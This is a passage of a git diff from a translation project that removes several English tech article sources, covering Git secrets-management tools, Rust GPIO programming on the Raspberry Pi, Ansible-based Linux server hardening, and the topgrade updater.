our symmetric key-compatible tools: - - * Git-crypt is compatible with both GPG and symmetric key encryption - * Git-crypt doesn't support symmetric key rotation, so you can't complete step 5 if you use it with a symmetric key - * Transcrypt provides a convenient **\--rekey** command for key rotation - - - -### Other features - -Other features and characteristics of the tools include: - -| | Editor-in-place | Auditing | Repo-level permission | File-level permission | -| Git-crypt | | | X | | -| BlackBox | X | | X | | -| SOPS | X | X | | X | -| Transcrypt | | | X | | - -Both BlackBox and SOPS feature an "editor-in-place" tool, which decrypts the file and opens a text editor specified by the **$EDITOR** environment variable. This enables the user to make in-place edits to the file before it is saved and re-encrypted, so users can modify secret files without requiring them to be "decrypted in place" first. - -SOPS is the only tool that provides an auditing feature. This feature tracks and monitors SOPS usage by forwarding events to a database. It requires a certain amount of setup, so check out SOPS's [README][3] for more information. - -Git-crypt, BlackBox, and Transcrypt handle access at the repo level, meaning that if you can view one decrypted file, you can view them all. Depending on your use case, this is either a feature or a misfeature. SOPS handles permissions at the file level, meaning just because users can view one file, they can't necessarily view other files in the repo. - -### For more information - -Hopefully, this high-level overview of four open source secrets management tools will help you make an educated decision about the right tool for you. For more information on the tools, please check out their GitHub pages (linked at the top of this article). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/2/secrets-management-tools-git - -作者:[Austin Dewey][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/adewey -[b]: https://github.com/lujun9972 -[1]: https://www.gnupg.org/ -[2]: https://github.com/awslabs/git-secrets -[3]: https://github.com/mozilla/sops/blob/master/README.rst#auditing diff --git a/sources/tech/20190316 Program the real world using Rust on Raspberry Pi.md b/sources/tech/20190316 Program the real world using Rust on Raspberry Pi.md deleted file mode 100644 index 773fd1cc10..0000000000 --- a/sources/tech/20190316 Program the real world using Rust on Raspberry Pi.md +++ /dev/null @@ -1,141 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Program the real world using Rust on Raspberry Pi) -[#]: via: (https://opensource.com/article/19/3/physical-computing-rust-raspberry-pi) -[#]: author: (Rahul Thakoor https://opensource.com/users/rahul27) - -Program the real world using Rust on Raspberry Pi -====== - -rust_gpizero uses the Rust programming language to do physical computing on the Raspberry Pi. - -![][1] - -If you own a Raspberry Pi, chances are you may already have experimented with physical computing—writing code to interact with the real, physical world, like blinking some LEDs or [controlling a servo motor][2]. You may also have used [GPIO Zero][3], a Python library that provides a simple interface to GPIO devices from Raspberry Pi with a friendly Python API. GPIO Zero is developed by [Opensource.com][4] community moderator [Ben Nuttall][5]. - -I am working on [**rust_gpiozero**][6], a port of the awesome GPIO Zero library that uses the Rust programming language. It is still a work in progress, but it already includes some useful components. - -[Rust][7] is a systems programming language developed at Mozilla. It is focused on performance, reliability, and productivity. The Rust website has [great resources][8] if you'd like to learn more about it. - -### Getting started - -Before starting with rust_gpiozero, it's smart to have a basic grasp of the Rust programming language. I recommend working through at least the first three chapters in [The Rust Programming Language][9] book. - -I recommend [installing Rust][10] on your Raspberry Pi using [**rustup**][11]. Alternatively, you can set up a cross-compilation environment using [cross][12] (which works only on an x86_64 Linux host) or [this how-to][13]. - -After you've installed Rust, create a new Rust project by entering: - -``` -cargo new rust_gpiozero_demo -``` - -Add **rust_gpiozero** as a dependency (currently in v0.2.0) by adding the following to the dependencies section in your **Cargo.toml** file - -``` -rust_gpiozero = "0.2.0" -``` - -Next, blink an LED—the "hello world" of physical computing by modifying the **main.rs** file with the following: -``` -use rust_gpiozero::*; -use std::thread; -use std::time::Duration; - -fn main() { - // Create a new LED attached to Pin 17 - let led = LED::new(17); - - // Blink the LED 5 times - for _ in 0.. 5{ - led.on(); - thread::sleep(Duration::from_secs(1)); - led.off(); - thread::sleep(Duration::from_secs(1)); - } -} -``` - -rust_gpiozero provides an easier interface for blinking an LED. You can use the blink method, providing the number of seconds it should stay on and off. This simplifies the code to the following: -``` -use rust_gpiozero::*; -fn main() { - // Create a new LED attached to Pin 17 - let mut led = LED::new(17); - - // on_time = 2 secs, off_time=3 secs - led.blink(2.0,3.0); - - // prevent program from exiting immediately - led.wait(); -} -``` - -### Other components - -rust_gpiozero provides several components that are similar to GPIO Zero for controlling output and input devices. These include [LED][14], [Buzzer][15], [Motor][16], Pulse Width Modulation LED ([PWMLED][17]), [Servo][18], and [Button][19]. - -Support for other components, sensors, and devices will be added eventually. You can refer to the [documentation][20] for further usage information. - -### More resources - -rust_gpiozero is still a work in progress. If you need more resources for getting started with Rust on your Raspberry Pi, here are some useful links: - -#### Raspberry Pi Peripheral Access Library (RPPAL) - -Similar to GPIO Zero, which is based on the [RPi.GPIO][21] library, rust_gpiozero builds upon the awesome **[RPPAL][22]** library by [Rene van der Meer][23]. If you want more control for your projects using Rust, you should definitely try RPPAL. It has support for GPIO, Inter-Integrated Circuit (I 2C), hardware and software Pulse Width Modulation (PWM), and Serial Peripheral Interface (SPI). Universal asynchronous receiver-transmitter (UART) support is currently in development. - -#### Sense HAT support - -**[Sensehat-rs][24]** is a library by [Jonathan Pallant][25] ([@therealjpster][26]) that provides Rust support for the Raspberry Pi [Sense HAT][27] add-on board. Jonathan also has a [starter workshop][28] for using the library and he wrote a beginner's intro to use Rust on Raspberry Pi, "Read Sense HAT with Rust," in [Issue 73 of _The MagPi_][29] magazine. - -### Wrap Up - -Hopefully, this has inspired you to use the Rust programming language for physical computing on your Raspberry Pi. rust_gpiozero is a library which provides useful components such as LED, Buzzer, Motor, PWMLED, Servo, and Button. More features are planned and you can follow me on [twitter][30] or check out [my blog][31] to stay tuned. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/3/physical-computing-rust-raspberry-pi - -作者:[Rahul Thakoor][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003784_02_os.comcareers_os_rh2x.png?itok=jbRfXinl -[2]: https://projects.raspberrypi.org/en/projects/grandpa-scarer/4 -[3]: https://gpiozero.readthedocs.io/en/stable/# -[4]: http://Opensource.com -[5]: https://opensource.com/users/bennuttall -[6]: https://crates.io/crates/rust_gpiozero -[7]: https://www.rust-lang.org/ -[8]: https://www.rust-lang.org/learn -[9]: https://doc.rust-lang.org/book/ -[10]: https://www.rust-lang.org/tools/install -[11]: https://rustup.rs/ -[12]: https://github.com/rust-embedded/cross -[13]: https://github.com/kunerd/clerk/wiki/How-to-use-HD44780-LCD-from-Rust#setting-up-the-cross-toolchain -[14]: https://docs.rs/rust_gpiozero/0.2.0/rust_gpiozero/output_devices/struct.LED.html -[15]: https://docs.rs/rust_gpiozero/0.2.0/rust_gpiozero/output_devices/struct.Buzzer.html -[16]: https://docs.rs/rust_gpiozero/0.2.0/rust_gpiozero/output_devices/struct.Motor.html -[17]: https://docs.rs/rust_gpiozero/0.2.0/rust_gpiozero/output_devices/struct.PWMLED.html -[18]: https://docs.rs/rust_gpiozero/0.2.0/rust_gpiozero/output_devices/struct.Servo.html -[19]: https://docs.rs/rust_gpiozero/0.2.0/rust_gpiozero/input_devices/struct.Button.html -[20]: https://docs.rs/rust_gpiozero/ -[21]: https://pypi.org/project/RPi.GPIO/ -[22]: https://github.com/golemparts/rppal -[23]: https://twitter.com/golemparts -[24]: https://crates.io/crates/sensehat -[25]: https://github.com/thejpster -[26]: https://twitter.com/therealjpster -[27]: https://www.raspberrypi.org/products/sense-hat/ -[28]: https://github.com/thejpster/pi-workshop-rs/ -[29]: https://www.raspberrypi.org/magpi/issues/73/ -[30]: https://twitter.com/rahulthakoor -[31]: https://rahul-thakoor.github.io/ diff --git a/sources/tech/20190408 Linux Server Hardening Using Idempotency with Ansible- Part 1.md b/sources/tech/20190408 Linux Server Hardening Using Idempotency with Ansible- Part 1.md deleted file mode 100644 index ca0d81d89a..0000000000 --- a/sources/tech/20190408 Linux Server Hardening Using Idempotency with Ansible- Part 1.md +++ /dev/null @@ -1,94 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux Server Hardening Using Idempotency with Ansible: Part 1) -[#]: via: (https://www.linux.com/blog/linux-server-hardening-using-idempotency-ansible-part-1) -[#]: author: (Chris Binnie https://www.linux.com/users/chrisbinnie) - -Linux Server Hardening Using Idempotency with Ansible: Part 1 -====== - -![][1] - -[Creative Commons Zero][2] - -I think it’s safe to say that the need to frequently update the packages on our machines has been firmly drilled into us. To ensure the use of latest features and also keep security bugs to a minimum, skilled engineers and even desktop users are well-versed in the need to update their software. - -Hardware, software and SaaS (Software as a Service) vendors have also firmly embedded the word “firewall” into our vocabulary for both domestic and industrial uses to protect our computers. In my experience, however, even within potentially more sensitive commercial environments, few engineers actively tweak the operating system (OS) they’re working on, to any great extent at least, to bolster security. - -Standard fare on Linux systems, for example, might mean looking at configuring a larger swap file to cope with your hungry application’s demands. Or, maybe adding a separate volume to your server for extra disk space, specifying a more performant CPU at launch time, installing a few of your favorite DevOps tools, or chucking a couple of certificates onto the filesystem for each new server you build. This isn’t quite the same thing. - -### Improve your Security Posture - -What I am specifically referring to is a mixture of compliance and security, I suppose. In short, there’s a surprisingly large number of areas in which a default OS can improve its security posture. We can agree that tweaking certain aspects of an OS are a little riskier than others. Consider your network stack, for example. Imagine that, completely out of the blue, your server’s networking suddenly does something unexpected and causes you troubleshooting headaches or even some downtime. This might happen because a new application or updated package suddenly expects routing to behave in a less-common way or needs a specific protocol enabled to function correctly. - -However, there are many changes that you can make to your servers without suffering any sleepless nights. The version and flavor of an OS helps determine which changes and to what extent you might want to comfortably make. Most importantly though what’s good for the goose is rarely good for the gander. In other words every single server estate has different, both broad and subtle, requirements which makes each use case unique. And, don’t forget that a database server also has very different needs to a web server so you can have a number of differing needs even within one small cluster of servers. - -Over the last few years I’ve introduced these hardening and compliance tweaks more than a handful of times across varying server estates in my DevSecOps roles. The OSs have included: Debian, Red Hat Enterprise Linux (RHEL) and their respective derivatives (including what I suspect will be the increasingly popular RHEL derivative, Amazon Linux). There have been times that, admittedly including a multitude of relatively tiny tweaks, the number of changes to a standard server build was into the hundreds. It all depended on the time permitted for the work, the appetite for any risks and the generic or specific nature of the OS tweaks. - -In this article, we’ll discuss the theory around something called idempotency which, in hand with an automation tool such as Ansible, can provide the ongoing improvements to your server estate’s security posture. For good measure we’ll also look at a number of Ansible playbook examples and additionally refer to online resources so that you can introduce idempotency to a server estate near you. - -### Say What? - -In simple terms the word “idempotent” just means returning something back to how it was prior to a change. It can also mean that lots of things you wanted to be the same, for consistency, are exactly the same, too. - -Picture that in action for a moment on a server estate; we’ll use AWS (Amazon Web Services) as our example. You create a new server image (Amazon Machine Images == AMIs) precisely how you want it with compliance and hardening introduced, custom packages, the removal of unwanted packages, SSH keys, user accounts etc and then spin up twenty servers using that AMI. - -You know for certain that all the servers, at least at the time that they are launched, are absolutely identical. Trust me when I say that this is a “good thing” ™. The lack of what’s known as “config drift” means that if one package on a server needs updated for security reasons then all the servers need that package updated too. Or if there’s a typo in a config file that’s breaking an application then it affects all servers equally. There’s less administrative overhead, less security risk and greater levels of predictability in terms of achieving better uptime. - -What about config drift from a security perspective? As you’ve guessed it’s definitely not welcome. That’s because engineers making manual changes to a “base OS build” can only lead to heartache and stress. The predictability of how a system is working suffers greatly as a result and servers running unique config become less reliable. These server systems are known as “snowflakes” as they’re unique but far less beautiful than actual snow. - -Equally an attacker might have managed to breach one aspect, component or service on a server but not all of its facets. By rewriting our base config again and again we’re able to, with 100% certainty (if it’s set up correctly), predict exactly what a server will look like and therefore how it will perform. Using various tools you can also trigger alarms if changes are detected to request that a pair of human eyes have a look to see if it’s a serious issue and then adjust the base config if needed. - -To make our machines idempotent we might overwrite our config changes every 20 or 30 minutes, for example. When it comes to running servers, that in essence, is what is meant by idempotency. - -### Central Station - -My mechanism of choice for repeatedly writing config across a large number of servers is running Ansible playbooks. It’s relatively easy to implement and removes the all-too-painful additional logic required when using shell scripts. Of the popular configuration management tools I’ve seen in action is Puppet, used successfully on a large government estate in an idempotent manner, but I prefer Ansible due to its more logical syntax (to my mind at least) and its readily available documentation. - -Before we look at some simple Ansible examples of hardening an OS with idempotency in mind we should explore how to trigger our Ansible playbooks. - -This is a larger area for debate than you might first imagine. Say, for example, you have nicely segmented server estate with production servers being carefully locked away from development servers, sitting behind a production-grade firewall. Consider the other servers on the estate, belonging to staging (pre-production) or other development environments, intentionally having different access permissions for security reasons. - -If you’re going to run a centralized server that has superuser permissions (which are required to make privileged changes to your core system files) then that server will need to have high-level access permissions potentially across your entire server estate. It must therefore be guarded very closely. - -You will also want to test your playbooks against development environments (in plural) to test their efficacy which means you’ll probably need two all-powerful centralised Ansible servers, one for production and one for the multiple development environments. - -The actual approach of how to achieve other logistical issues is up for debate and I’ve heard it discussed a few times. Bear in mind that Ansible runs using plain, old SSH keys (a feature that something other configuration management tools have started to copy over time) but ideally you want a mechanism for keeping non-privileged keys on your centralised servers so you’re not logging in as the “root” user across the estate every twenty minutes or thirty minutes. - -From a network perspective I like the idea of having firewalling in place to enforce one-way traffic only into the environment that you’re affecting. This protects your centralised host so that a compromised server can’t attack that main Ansible host easily and then as a result gain access to precious SSH keys in order to damage the whole estate. - -Speaking of which, are servers actually needed for a task like this? What about using AWS Lambda () to execute your playbooks? A serverless approach stills needs to be secured carefully but unquestionably helps to limit the attack surface and also potentially reduces administrative responsibilities. - -I suspect how this all-powerful server is architected and deployed is always going to be contentious and there will never be a one-size-fits-all approach but instead a unique, bespoke solution will be required for every server estate. - -### How Now, Brown Cow - -It’s important to think about how often you run your Ansible and also how to prepare for your first execution of the playbook. Let’s get the frequency of execution out of the way first as it’s the easiest to change in the future. - -My preference would be three times an hour or instead every thirty minutes. If we include enough detail in our configuration then our playbooks might prevent an attacker gaining a foothold on a system as the original configuration overwrites any altered config. Twenty minutes seems more appropriate to my mind. - -Again, this is an aspect you need to have a think about. You might be dumping small config databases locally onto a filesystem every sixty minutes for example and that scheduled job might add an extra little bit of undesirable load to your server meaning you have to schedule around it. - -Next time, we’ll take a look at some specific changes that can be made to various systems. - -_Chris Binnie’s latest book, Linux Server Security: Hack and Defend, shows you how to make your servers invisible and perform a variety of attacks. You can find out more about DevSecOps, containers and Linux security on his website:[https://www.devsecops.cc][3]_ - --------------------------------------------------------------------------------- - -via: https://www.linux.com/blog/linux-server-hardening-using-idempotency-ansible-part-1 - -作者:[Chris Binnie][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/users/chrisbinnie -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/sites/lcom/files/styles/rendered_file/public/geometric-1732847_1280.jpg?itok=YRux0Tua -[2]: /LICENSES/CATEGORY/CREATIVE-COMMONS-ZERO -[3]: https://www.devsecops.cc/ diff --git a/sources/tech/20190409 topgrade - Upgrade-Update Everything In Single Command On Linux.md b/sources/tech/20190409 topgrade - Upgrade-Update Everything In Single Command On Linux.md deleted file mode 100644 index 48edeaec20..0000000000 --- a/sources/tech/20190409 topgrade - Upgrade-Update Everything In Single Command On Linux.md +++ /dev/null @@ -1,207 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (topgrade – Upgrade/Update Everything In Single Command On Linux?) -[#]: via: (https://www.2daygeek.com/topgrade-upgrade-update-everything-in-single-command-on-linux/) -[#]: author: (Magesh Maruthamuthu https://www.2daygeek.com/author/magesh/) - -topgrade – Upgrade/Update Everything In Single Command On Linux? -====== - -As a Linux administrator, you have to keep your system up-to-date to get ride out from some unexpected issues. - -We have to keep the system with latest patches as part of best practices. - -To do so, you need to perform the patching activity at least once in a month. - -Most of the time you have to reboot the server after patching to activate the latest kernel. - -It’s good to reboot the server at least 90-120 days once that will fix some outstanding issue which we already having. - -If you have a single system then we can directly login to the system and do perform the patching that is not a big deal. - -Even, if you have few of servers with the same flavor then you can perform the patching with help of shell script. - -If you have high number of servers then i would advise you to go with any of the parallel utility, which will help us to perform the patching in parallel. - -It will save a lot’s of time compared with shell script as this go with sequential order. - -how to patch all togeter if you have servers with multiple flavors? What will be the solution ? - -I recently came to know the utility called `topgrade` that can fulfill your requirement. - -Also, your distribution package manager doesn’t upgrade the packages which was installed with other package managers such as pip, npm, snap, etc,. but topgrade can fix this issue as well. - -### What Is topgrade? - -[topgrade][1] is a new tool that will upgrade all the installed packages on your system to latest available version by detecting and running the appropriate package managers. - -### How To Install topgrade In Linux? - -There is no separate package manager for distributions wise. Hence, you need to install topgrade with help of cargo package manager. - -The topgrade is available in AUR. So, use one of the **[AUR helper][2]** to install it on Arch-based systems. I prefer to go with **[Yay helper][3]** program. - -``` -$ yay -S topgrade -``` - -Once you have installed the **[cargo package manager][4]** , use the following command to install it. - -``` -$ cargo install topgrade -``` - -Once topgrade is initiated, it will perform the following tasks one by one. - - * Try to self-upgrade if any updated is available for topgrade. - * Arch: Run yay or fall back to pacman - * CentOS/RHEL: Run yum upgrade - * Fedora: Run dnf upgrade - * Debian/Ubuntu: Run apt update && apt dist-upgrade - * openSUSE: Run zypper refresh && zypper dist-upgrade - * Upgrade Vim/Neovim packages. - * Run npm update -g if NPM is installed - * Upgrade Atom packages - * Linux: Update Flatpak packages - * Linux: Update snap packages - * Linux: Run fwupdmgr to show firmware upgrade. - * Finally it will run needrestart to bounce all the services. - - - -Now, we have successfully installed `topgrade` so, run the topgrade alone to upgrade everything on your system. I have tested the utility on Ubuntu 18.04 LTS and the results are below. - -``` -$ topgrade - -―― System update ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― -[sudo] password for daygeek: -Hit:1 http://in.archive.ubuntu.com/ubuntu bionic InRelease -Get:2 http://security.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB] -Get:3 http://in.archive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB] -Get:4 http://in.archive.ubuntu.com/ubuntu bionic-backports InRelease [74.6 kB] -. -Get:16 http://security.ubuntu.com/ubuntu bionic-security/universe DEP-11 64x64 Icons [45.2 kB] -Get:17 http://security.ubuntu.com/ubuntu bionic-security/multiverse amd64 DEP-11 Metadata [2,460 B] -Fetched 1,565 kB in 13s (117 kB/s) -Reading package lists... Done -Building dependency tree -Reading state information... Done -119 packages can be upgraded. Run 'apt list --upgradable' to see them. -Reading package lists... Done -Building dependency tree -Reading state information... Done -Calculating upgrade... Done -The following packages were automatically installed and are no longer required: - libopts25 linux-headers-4.15.0-45 linux-headers-4.15.0-45-generic linux-image-4.15.0-45-generic - linux-modules-4.15.0-29-generic linux-modules-4.15.0-45-generic linux-modules-extra-4.15.0-45-generic sntp -Use 'sudo apt autoremove' to remove them. -The following packages will be upgraded: - apport apport-gtk apt apt-utils cups cups-bsd cups-client cups-common cups-core-drivers cups-daemon cups-ipp-utils - cups-ppdc cups-server-common distro-info-data fwupdate fwupdate-signed gir1.2-dbusmenu-glib-0.4 gir1.2-gtk-3.0 - gir1.2-packagekitglib-1.0 gir1.2-snapd-1 gnome-settings-daemon gnome-settings-daemon-schemas grub-common grub-pc - python3-httplib2 python3-problem-report samba-libs systemd systemd-sysv ubuntu-drivers-common udev ufw - unattended-upgrades xdg-desktop-portal xdg-desktop-portal-gtk -119 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. -Need to get 38.5 MB of archives. -After this operation, 475 kB of additional disk space will be used. -Do you want to continue? [Y/n] -. -. -Setting up grub-pc (2.02-2ubuntu8.13) ... -Installing for i386-pc platform. -Installation finished. No error reported. -Sourcing file `/etc/default/grub' -Generating grub configuration file ... -Found memtest86+ image: /boot/memtest86+.elf -Found memtest86+ image: /boot/memtest86+.bin -done -Setting up mesa-vdpau-drivers:amd64 (18.2.8-0ubuntu0~18.04.2) ... -Updating PPD files for cups ... -Setting up apport-gtk (2.20.9-0ubuntu7.6) ... -Setting up pulseaudio-module-bluetooth (1:11.1-1ubuntu7.2) ... -Processing triggers for libc-bin (2.27-3ubuntu1) ... -Processing triggers for initramfs-tools (0.130ubuntu3.7) ... -update-initramfs: Generating /boot/initrd.img-4.15.0-47-generic -``` - -It will run the self-updates once the distribution official packages update done. - -``` -―― rustup ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― -info: checking for self-updates -info: syncing channel updates for 'stable-x86_64-unknown-linux-gnu' -info: checking for self-updates - - stable-x86_64-unknown-linux-gnu unchanged - rustc 1.33.0 (2aa4c46cf 2019-02-28) -``` - -Then it will try to update the packages that has installed with other package managers. - -``` -―― Flatpak User Packages ―――――――――――――――――――――――――――――――――――――――――――――――――――――――― -Looking for updates... -Looking for updates... -Updating in system: -org.gnome.Platform/x86_64/3.30 flathub 862e6b8ec2b5 -org.gnome.Platform.Locale/x86_64/3.30 flathub 5e66e981ae00 -org.freedesktop.Platform.html5-codecs/x86_64/18.08 flathub 282fd2c4ef33 -com.github.muriloventuroso.easyssh/x86_64/stable flathub c6bc3a3e72fb - new permissions: ssh-auth -com.github.muriloventuroso.easyssh.Locale/x86_64/stable flathub b705864b8d78 -Updating: org.gnome.Platform/x86_64/3.30 from flathub -[####################] 16 delta parts, 10 loose fetched; 65539 KiB transferred in 63 seconds -Error: Failed to update org.gnome.Platform/x86_64/3.30: Flatpak system operation Deploy not allowed for user - -Skipping org.gnome.Platform.Locale/x86_64/3.30 due to previous error - -Skipping org.freedesktop.Platform.html5-codecs/x86_64/18.08 due to previous error -Updating: com.github.muriloventuroso.easyssh/x86_64/stable from flathub -[####################] 2 delta parts, 3 loose fetched; 1532 KiB transferred in 5 seconds -Error: Failed to update com.github.muriloventuroso.easyssh/x86_64/stable: Flatpak system operation Deploy not allowed for user - -Skipping com.github.muriloventuroso.easyssh.Locale/x86_64/stable due to previous error -error: There were one or more errors - -Retry? [y/N] -``` - -Then it will run the firmwre upgrade. - -``` -―― Firmware upgrades ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― -Fetching metadata https://cdn.fwupd.org/downloads/firmware.xml.gz -Downloading… [***************************************] -Fetching signature https://cdn.fwupd.org/downloads/firmware.xml.gz.asc -``` - -Finally, it shows the summary about the patching has done. - -``` -―― Summary ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― -System update: OK -rustup: OK -Flatpak User Packages: FAILED -Firmware upgrade: OK -``` - --------------------------------------------------------------------------------- - -via: https://www.2daygeek.com/topgrade-upgrade-update-everything-in-single-command-on-linux/ - -作者:[Magesh Maruthamuthu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.2daygeek.com/author/magesh/ -[b]: https://github.com/lujun9972 -[1]: https://github.com/r-darwish/topgrade -[2]: https://www.2daygeek.com/category/aur-helper/ -[3]: https://www.2daygeek.com/install-yay-yet-another-yogurt-aur-helper-on-arch-linux/ -[4]: https://www.2daygeek.com/how-to-install-rust-programming-language-in-linux/ diff --git a/sources/tech/20190412 Linux Server Hardening Using Idempotency with Ansible- Part 2.md b/sources/tech/20190412 Linux Server Hardening Using Idempotency with Ansible- Part 2.md deleted file mode 100644 index 1e1b451500..0000000000 --- a/sources/tech/20190412 Linux Server Hardening Using Idempotency with Ansible- Part 2.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux Server Hardening Using Idempotency with Ansible: Part 2) -[#]: via: (https://www.linux.com/blog/linux-server-hardening-using-idempotency-ansible-part-2) -[#]: author: (Chris Binnie https://www.linux.com/users/chrisbinnie) - -Linux Server Hardening Using Idempotency with Ansible: Part 2 -====== - -![][1] - -[Creative Commons Zero][2] - -In the first part of this series, we introduced something called idempotency, which can provide the ongoing improvements to your server estate’s security posture. In this article, we’ll get a little more hands-on with a look at some specific Ansible examples. - -### Shopping List - -You will need some Ansible experience before being able to make use of the information that follows. Rather than run through the installation and operation of Ansible let’s instead look at some of the idempotency playbook’s content. - -As mentioned earlier there might be hundreds of individual system tweaks to make on just one type of host so we’ll only explore a few suggested Ansible tasks and how I like to structure the Ansible role responsible for the compliance and hardening. You have hopefully picked up on the fact that the devil is in the detail and you should absolutely, unequivocally, understand to as high a level of detail as possible, about the permutations of making changes to your server OS. - -Be aware that I will mix and match between OSs in the Ansible examples that follow. Many examples are OS agnostic but as ever you should pay close attention to the detail. Obvious changes like “apt” to “yum” for the package manager is a given. - -Inside a “tasks” file under our Ansible “hardening” role, or whatever you decide to name it, these named tasks represent the areas of a system with some example code to offer food for thought. In other words, each section that follows will probably be a single YAML file, such as “accounts.yml”, and each will have with varying lengths and complexity. - -Let’s look at some examples with ideas about what should go into each file to get you started. The contents of each file that follow are just the very beginning of a checklist and the following suggestions are far from exhaustive. - -#### SSH Server - -This is the application that almost all engineers immediately look to harden when asked to secure a server. It makes sense as SSH (the OpenSSH package in many cases) is usually only one of a few ports intentionally prised open and of course allows direct access to the command line. The level of hardening that you should adopt is debatable. I believe in tightening the daemon as much as possible without disruption and would usually make around fifteen changes to the standard OpenSSH server config file, “sshd_config”. These changes would include pulling in a MOTD banner (Message Of The Day) for legal compliance (warning of unauthorised access and prosecution), enforcing the permissions on the main SSHD files (so they can’t be tampered with by lesser-privileged users), ensuring the “root” user can’t log in directly, setting an idle session timeout and so on. - -Here’s a very simple Ansible example that you can repeat within other YAML files later on, focusing on enforcing file permissions on our main, critical OpenSSH server config file. Note that you should carefully check every single file that you hard-reset permissions on before doing so. This is because there are horrifyingly subtle differences between Linux distributions. Believe me when I say that it’s worth checking first. - -name: Hard reset permissions on sshd server file - -file: owner=root group=root mode=0600 path=/etc/ssh/sshd_config - -To check existing file permissions I prefer this natty little command for the job: - -``` -$ stat -c "%a %n" /etc/ssh/sshd_config - -644 /etc/ssh/sshd_config -``` - -As our “stat” command shows our Ansible snippet would be an improvement to the current permissions because 0600 means only the “root” user can read and write to that file. Other users or groups can’t even read that file which is of benefit because if we’ve made any mistakes in securing SSH’s config they can’t be discovered as easily by less-privileged users. - -#### System Accounts - -At a simple level this file might define how many users should be on a standard server. Usually a number of users who are admins have home directories with public keys copied into them. However this file might also include performing simple checks that the root user is the only system user with the all-powerful superuser UID 0; in case an attacker has altered user accounts on the system for example. - -#### Kernel - -Here’s a file that can grow arms and legs. Typically I might affect between fifteen and twenty sysctl changes on an OS which I’m satisfied won’t be disruptive to current and, all going well, any future uses of a system. These changes are again at your discretion and, at my last count (as there’s between five hundred and a thousand configurable kernel options using sysctl on a Debian/Ubuntu box) you might opt to split off these many changes up into different categories. - -Such categories might include network stack tuning, stopping core dumps from filling up disk space, disabling IPv6 entirely and so on. Here’s an Ansible example of logging network packets that shouldn’t been routed out onto the Internet, namely those packets using spoofed private IP Addresses, called “martians”. - -name: Keep track of traffic that shouldn’t be routed onto the Internet - -lineinfile: dest="/etc/sysctl.conf" line="{{item.network}}" state=present - -with_items: - -\- { network: 'net.ipv4.conf.all.log_martians = 1' } - -\- { network: 'net.ipv4.conf.default.log_martians = 1' } - -Pay close attention that you probably don’t want to use the file “/etc/sysctl.conf” but create a custom file under the directory “/etc/sysctl.d/” or similar. Again, check your OS’s preference, usually in the comments of the pertinent files. If you’ve not seen martian packets being enabled before then type “dmesg” (sometimes only as the “root” user) to view kernel messages and after a week or two of logging being in place you’ll probably see some traffic polluting your logs. It’s much better to know how attackers are probing your servers than not. A few log entries for reference can only be of value. When it comes to looking after servers, ignorance is certainly not bliss. - -#### Network - -As mentioned you might want to include hardening the network stack within your kernel.yml file, depending on whether there’s many entries or not, or simply for greater clarity. For your network.yml file have a think about stopping old-school broadcast attacks flooding your LAN and ICMP oddities from changing your routing in addition. - -#### Services - -Usually I would stop or start miscellaneous system services (and potentially applications) within this Ansible file. If there weren’t many services then rather than also using a “cron.yml” file specifically for “cron” hardening I’d include those here too. - -There’s a bundle of changes you can make around cron’s file permissions etc. If you haven’t come across it, on some OSs, there’s a “cron.deny” file for example which blacklists certain users from accessing the “crontab” command. Additionally you also have a multitude of cron directories under the “/etc” directory which need permissions enforced and improved, indeed along with the file “/etc/crontab” itself. Once again check with your OS’s current settings before altering these or “bad things” ™ might happen to your uptime. - -In terms of miscellaneous services being purposefully stopped and certain services, such as system logging which is imperative to a healthy and secure system, have a quick look at the Ansible below which I might put in place for syslog as an example. - -name: Insist syslog is definitely installed (so we can receive upstream logs) - -apt: name=rsyslog state=present - -name: Make sure that syslog starts after a reboot - -service: name=rsyslog state=started enabled=yes - -#### IPtables - -The venerable Netfilter which, from within the Linux kernel offers the IPtables software firewall the ability to filter network packets in an exceptionally sophisticated manner, is a must if you can enable it sensibly. If you’re confident that each of your varying flavours of servers (whether it’s a webserver, database server and so on) can use the same IPtables config then copy a file onto the filesystem via Ansible and make sure it’s always loaded up using this YAML file. - -Next time, we’ll wrap up our look at specific system suggestions and talk a little more about how the playbook might be used. - -Chris Binnie’s latest book, Linux Server Security: Hack and Defend, shows you how to make your 